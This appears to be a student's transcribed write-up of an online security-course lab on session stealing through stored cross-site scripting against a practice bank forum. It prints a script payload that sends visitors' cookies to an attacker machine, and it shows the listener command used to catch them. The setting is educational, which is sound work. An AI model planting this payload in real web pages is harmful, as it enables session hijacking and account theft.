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ICS 482

11/29/2019

InfoSec Lab: Session Stealing (Stored XSS)

Session Stealing (Stored XSS)

Note: If you submit an incorrect password, then script may only partially run and you may have to restart the session. Also note: you should wait for the script to complete before continuing.

support@Web:~\$
support@Web:~\$ LAB09A
[sudo] password for support:

EXECUTING SETUP SCRIPT

8 Type `exit` and press Enter two times. The first time is to terminate the SSH session and the second time is to close the terminal.

Challenge #1

support@Web:~\$ exit
root@Hacker:~\$ exit

ldconfig deferred processing now taking place
support@Web:~\$ exit
logout
Connection to urbank.com closed.
root@Hacker:~\$ exit

CLOSING SSH SESSION AND CLOSING TERMINAL

BACK INFOSEC LEARNING NEXT

Final_Kali-2.0 - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1139300/Final_Kali-2.0

Final_Kali-2.0

Applications Places Terminal Fri 19:14

support@Web:~\$

Get:4 http://mirror.urbank.com/ precise/main libapache2-mod-php5 1386 5.3.10-lubuntu3 [3,108 kB]
Get:5 http://mirror.urbank.com/ precise/universe libmcrypt4 1386 2.5.8-3.1 [76.1 kB]
Get:6 http://mirror.urbank.com/ precise/main libt1-5 1386 5.1.2-3.4ubuntu1 [148 kB]
Get:7 http://mirror.urbank.com/ precise/main php5-all 5.3.10-lubuntu3 [1,072 B]
Get:8 http://mirror.urbank.com/ precise/main php5-cli 1386 5.3.10-lubuntu3 [3,085 kB]
Get:9 http://mirror.urbank.com/ precise/main php5-gd 1386 5.3.10-lubuntu3 [37.5 kB]
Get:10 http://mirror.urbank.com/ precise/universe php5-mcrypt 1386 5.3.5-0ubuntu1 [16.9 kB]
Get:11 http://mirror.urbank.com/ precise/universe phpmyadmin all 4:3.4.10.1-1 [5,343 kB]
Fetched 12.5 MB in 8s (24.2 MB/s)
Preconfiguring packages ...
dpkg: apache2-mpm-worker: dependency problems, but removing anyway as you requested:
apache2 depends on apache2-mpm-worker (= 2.2.22-lubuntu1) | apache2-mpm-prefork (= 2.2.22-lubuntu1) | apache2-mpm-event (= 2.2.22-lubuntu1) | apache2-mpm-itk (= 2.2.22-lubuntu1); however:
Package apache2-mpm-worker is to be removed.
Package apache2-mpm-prefork is not installed.
Package apache2-mpm-event is not installed.
Package apache2-mpm-itk is not installed.
Removing database ... 53816 files and directories currently installed.)
Removing apache2-mpm-worker ...
* Stopping web server apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
... waiting [OK]

Name:
Comment:
Post!
Alice:
BLAH BLAH BLAH

POSTING JAVASCRIPT EMBEDDED WITH HTML

10 Observe the result.

Alice:
BLAH BLAH BLAH

INJECTION LOOKS SUCCESSFUL

11 Right-click and select View Page Source.

Save Page As...
Verify Background Image
Select All
View Page Source
View Page Info
Inspect Element (G)

Final_Kali-2.0 - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1139300/Final_Kali-2.0

Final_Kali-2.0

Applications Places Icceweasel Fri 19:16

http://urban...success.php

urbank.com/login_success.php

Welcome to the Customer Forum

Post Comment

Name:
Comment:
Post!
Alice:
BLAH BLAH BLAH

It looks like you haven't started Icceweasel in a while. Do you want to clean it up for a fresh, like-new experience? And by the way, welcome back!

Refresh Icceweasel...

https://lab.infoseclearning.com/lab/session-stealing-stored-xss

Session Stealing (Stored XSS)

INJECTION LOOKS SUCCESSFUL

11 Right-click and select View Page Source.

VIEW CLIENT-SIDE FILE TO VERIFY INJECTION

12 Observe that all characters look injected.

```
textarea rows = "3" cols = "60" name = "comment"</textarea><br>
= "submit" value = "Post!"><br>
<script>document.write('<img src=http://192.168.1.5:8000/?'+document.cookie+'>');</script>
```

INJECTED CODE

Challenge #2

13 Click the close button on the browser.

m/ - Iccweasel

Final_Kali-2.0 - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1199300/Final_Kali-2.0

Final_Kali-2.0

Applications Places Iccweasel Fri 19:16

http://urbank.com/login_success.php - Iccweasel

view-source:http://urbank.com/login_success.php

```
<html>
<body>
Login Successful, Welcome Bob
<br>
<br>
<br>
<h2>Welcome to the Customer Forum</h2>
<h3>Post Comment</h3>
<form action = "" method = "post">
11 Name: <input type = "text" name = "name"><br>
12 <br>
13 Comment: <textarea rows = "3" cols = "60" name = "comment"></textarea><br>
14 <br>
15 <input type = "submit" value = "Post!"><br>
16 </form>
17 <b>Alice</b><br> BLAH BLAH BLAH<br>
18 <b></b><br> <script>document.write('<img src=http://192.168.1.5:8000/?'+document.cookie+'>')
19 </html>
20
```

It looks like you haven't started Iccweasel in a while. Do you want to clean it up for a fresh, like-new experience? And by the way, welcome back!

Refresh Iccweasel...

https://lab.infoseclearning.com/lab/session-stealing-stored-xss

Session Stealing (Stored XSS)

2 Execute the following command to view the IP address on eth0.

```
root@Hacker:~# ifconfig
root@Hacker:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.5 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::20c:29ff:fe60:2bd9 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:60:2b:d9 txqueuelen 1000 (Ethernet)
    RX packets 1932 bytes 192940 (188.4 KiB)
    RX errors 1 dropped 28241 overruns 0 frame 0
    TX packets 1036 bytes 77118 (75.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    device interrupt 18 base 0x2000
```

VIEWING IP ADDRESS

3 Execute the command to start a web server that will listen on port 8000 on all available interfaces.

```
root@Hacker:~# python -m SimpleHTTPServer
root@Hacker:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

STARTING A SERVER LISTENER SOCKET (ALL IPS AND PORT 8000)

Challenge #3

4 Close the VM window.

Final_Kali-2.0_0

Final_Kali-2.0 - Internet Explorer

https://lab.infoseclearning.com/lab/console/vm-1199300/Final_Kali-2.0

Final_Kali-2.0

Applications Places Terminal Fri 19:17

root@Hacker:~

```
File Edit View Search Terminal Help
root@Hacker:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.5 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::20c:29ff:fe60:2bd9 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:60:2b:d9 txqueuelen 1000 (Ethernet)
    RX packets 1932 bytes 192940 (188.4 KiB)
    RX errors 1 dropped 28241 overruns 0 frame 0
    TX packets 1036 bytes 77118 (75.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    device interrupt 18 base 0x2000

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 0 (Local Loopback)
    RX packets 26 bytes 1618 (1.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 26 bytes 1618 (1.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@Hacker:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

